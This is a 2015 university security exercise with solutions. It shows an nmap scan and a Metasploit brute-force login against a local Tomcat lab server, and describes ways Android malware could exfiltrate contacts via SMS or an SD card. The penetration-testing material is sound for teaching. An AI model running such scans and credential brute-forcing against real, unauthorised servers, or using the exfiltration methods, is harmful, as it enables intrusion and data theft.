# System Security, Solution Exploits

George Cojocar

October 29, 2015

## 1 Metasploit: An Example Penetration Test Framework

Given that a variety of security mechanisms that prevent memory corruption (e.g., W^X memory) exist, how do attacks in the real-world work? This goal of this exercise is to give you a flavor of how simple mistakes can be exploited using readily available tools.

In this exercise, we will use Metasploit (`http://www.metasploit.com/`) which is a penetration testing framework that allows detection of security vulnerabilities, their implications and the effectiveness of countermeasures. Metasploit is already installed inside the VM, launch it using `msfconsole`.

### 1.1 Pre-requisites

Start the web-server by executing: `su -c /usr/share/apache-tomcat-6.0.6/bin/startup.sh` and providing the root password (`toor`).

### 1.2 Goals

The goal of the exercise is to exploit the poorly configured web-server. More specifically, the idea is to take advantage of the fact that the web-server can be administered using a common username and password. In order to make the attack realistic, we assume that we do not have access to the web-server or its configuration files (even though they are really inside the VM).

Broadly, the goal of the attack will be to find this common user name and password and then use this to obtain a shell on the target VM. In summary, your task is to

- Find the port of the web server instance using a network scan tool like nmap. The web server listens on `127.0.0.1`.
  **DO NOT LOOK INTO THE CONFIGURATION FILES!**
- Using metasploit:
  1. Find the username and password for the web-server administrator
  2. Use this information to open a shell on the web-server.

**Notes:** You can learn how to use the metasploit framework at `http://www.metasploit.com/`. Here are a few useful commands:

- "search application-name" will give you all possible exploits available for a given application. Try and understand which of them best suit your requirements. There is plenty of help out there on the Internet!

- "show options" lists the information required for the exploit (e.g., target machine, port, etc.). You might also have to change one of these options in case your attack overwhelms the server.

## 1.3 Expected Deliverables

A brief summary of the procedure you used to open a shell on the server that includes the following information:

- What nmap commands did you use to find the port on which the web-server was running? How does nmap find open ports?

  *Solution*

  The Tomcat web server serves the HTML pages over the HTTP protocol. The HTTP is an application layer protocol that relies on TCP to transfer the information between computers. For this reason, we need to scan all TCP ports on which the host 127.0.0.1 is listening to, using the command:

  ```
  nmap -sT -p1-65535 127.0.0.1
  ```

  This command performs a simple TCP connect() operation. This is the most basic form of TCP scanning. The connect() system call provided by Linux operating system is used to open a connection to every port from range 1 to 65535. If the port is listening, connect() will succeed, otherwise the port is not reachable.

  The result of the port scanning is:

  ```
  Starting Nmap 6.47 ( http://nmap.org ) at 2015-10-20 20:58 CEST
  Nmap scan report for localhost.localdomain (127.0.0.1)
  Host is up (0.00040s latency).
  Not shown: 65532 closed ports
  PORT      STATE SERVICE
  8005/tcp  open  mxi
  42423/tcp open  unknown
  52034/tcp open  unknown
  ```

  The possible ports on which the Tomcat server is listening to are: 8005, 42423 and 52034.

- How did you find the username and password that the web-server used? What exploits did you use and how do they work?

*Solution*

The most suitable exploit for this attack is:

```
auxiliary/scanner/http/tomcat_mgr_login: Tomcat Application
    Manager Login Utility
```

We begin the penetration testing with port **8005** as follows:

```
msf> use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(tomcat_mgr_login) > set RPORT 8005
RPORT => 8005
msf auxiliary(tomcat_mgr_login) > exploit
```

Unfortunately the exploit does not return any results:

```
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

We continue with the next port **42423**:

```
msf auxiliary(tomcat_mgr_login) > set RPORT 42423
RPORT => 42423
msf auxiliary(tomcat_mgr_login) > exploit
```

This time, the exploit finds a Tomcat Server listening to this port that has an administrative user name **syssec** and password **exercise**:

```
[+] http://127.0.0.1:42423/manager/html [Apache-Coyote/1.1] [
   Tomcat Application Manager] successful login 'syssec' : '
   exercise'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

The exploit **tomcat_mgr_login** simply attempts to login to a Tomcat's manager application instance using a predefined list of potential user names an passwords.

- What did you do to open a shell? What exploits did you use and how do they work? What is the simplest defense (other than using a better username and password) against such an attack?

  *Solution*

  > The Tomcat server provides a web based administration console which can be started via the link `http://127.0.0.1:42423/manager/html`. One can login successfully into this console by introducing the user name **syssec** and the password **exercise**, found by means of **tomcat_mgr_login** exploit. This exploit works by trying to login into the administration console using a predefined list of user names and passwords. In the executed test, this list was auto generated by the metasploit tool and it contained a number of 116 users and passwords.
  >
  > A simple defense against this attack would be to deny the login request after 3 failed attempts, and in addition one could require the answers to some security questions. An alternative to the security questions would be a CAPTCHA code or even to block entirely the login for a certain period of time (e.g. 1 day). These measures will reduce the success rate of **tomcat_mgr_login** exploit.

*Remember that you have to assume that you have no access to the webserver!*
If you want to stop the web-server when you are done with this run:
`su -c /usr/share/apache-tomcat-6.0.6/bin/shutdown.sh`

## 2 Malware on Mobile Phones

Malware on Mobile Phones and Smartphones is growing rapidly with new possibilities offered by newer models. The goal of this exercise is to to introduce you to some weaknesses in the Android OS that can be exploited to breach system security.

(a) Describe the major differences between malware in the mobile world and on user's PCs. For example, what is the aim of malware on the mobile phones compared to that of malware on PCs?

*Solution*

> Mobile phones are an attractive target for attackers, both in the kinds of attacks that are possible and in the social implication of this attacks. Unlike PCs, the mobile phones have access to both telephony and the Internet. As a consequence, malware that can attack a smart phone has the unique advantage of being able to affect the cell phone infrastructure, as well as other phones on the cellular network.
>
> The pervasive nature of mobile phones and a large, unsophisticated user base comparing to PCs, also makes these devices particularly appealing to attackers. A typical mobile phone malware will take advantage of expensive SMS messages (`AndroidOS.FakePlayer`), will steal information from device (`Android.Bgserv`), or will lock down files demanding a payment for their safe return (`Android.FakeDefend.A`).
>
> The reports suggest also that traditional threads to PCs, such as worms and viruses, have already begun infecting mobile platforms.

(b) In the context of usage of third party applications on smart phones, what security mechanisms exist in the Android OS to protect against malicious application vendors?

*Solution*

Android's security model is primarily based on the following techniques:

- **Application signing** The goal of digitally signing an application is twofold: one, to ensure that the logic of the application is not tampered with, and two, to allow a user of the application to determine the identity of the application's author.
- **Application isolation** Android employs a strong isolation system to ensure that applications only access approved system resources.
- **Protected API to system functionality** Each API call is verified by a reference monitor against a Policy Databases.
- **Permission-based access control** Each Android application contains an embedded list of permissions that it needs in order to function properly. This list is presented to the user in a non-technical language at the time an app is installed on the device, and the user can then decide whether or not to allow the app to be installed based on their tolerance for risk. If the user chooses to proceed with the installation, the app is granted permission to access all of the requested subsystems.
- **Data encryption** The latest Android devices support hardware encryption to protect data such as passwords, user names, and application-specific data.

(c) What are the basic requirements for an application that wants to steal data? More specifically, given the list of permissions available on the Android OS platform, describe a pair of applications: one which is a threat to user privacy and another whose permissions prevent such data leakage.

*Solution*

Typically an application which wants to steal data, will request access to various sub-systems of the device without a logical reason. The most important sub-systems which are a source of sensitive data are: Contacts, SMS, Account Manager, Email, Voicemail, GPS, Camera, Microphone, NFC or Bluetooth.

The entire list of permissions from Android's SDK is available in the documentation at this address `http://developer.android.com/reference/android/Manifest.permission.html`. Some privacy permissions are:

```
READ_SMS, READ_CALL_LOG,READ_CALENDAR,READ_CONTACTS,
READ_VOICEMAIL,READ_PHONE_STATE,READ_FRAME_BUFFER,
READ_EXTERNAL_STORAGE,GET_ACCOUNTS,RECORD_AUDIO,
CAPTURE_VIDEO_OUTPUT,ACCESS_FINE_LOCATION
```

A utility application which backs up the SMS messages might be a threat for user privacy, if it requested permissions to read the SMS messages as well as to access the Internet (i.e. `DroidPlus` malware). On the other hand, an off-line calendar viewer which requires only READ_CALENDAR permission, it does not leak any user information.

(d) Alice is a paranoid smart phone user and does not install applications that have access to her contacts and the Internet. If you were a malicious application developer who is interested in Alice's contacts, could you circumvent Alice's cautious approach? If yes, how?

*Solution*

An approach to circumvent Alice's cautious would be to use another communication channel then the Internet. For instance to request permissions for reading contacts and also for sending SMS messages. The entire list of contacts can be transmitted through multiple SMS messages. Also other possible communication channels are: Bluetooth, InfraRed, Voice Mail, NFC.

A more sophisticated method would be to install a rootkit on an external SD Card. This card may be inserted by Alice into its phone, and with a malicious application one can copy the Alice's contacts on it. The contacts can latter be transmitted to the attacker, when the card will be inserted by Alice into a PC which has an Internet connection.

## References

[1] Pro Console User Guide, metasploit, `https://community.rapid7.com/servlet/JiveServlet/download/2236-4-24705/pro-console-user-guide.pdf`

[2] Nmap Reference Guide, Insecure.Com LLC, `https://nmap.org/book/man.html`

[3] Rootkits on Smart Phones: Attacks, Implications and Opportunities, Jeffrey Bickford et al.

[4] A Window Into Mobile Device Security, Symantec, `http://www.symantec.com/content/en/us/enterprise/white_papers/b-mobile-device-security_WP.en-us.pdf`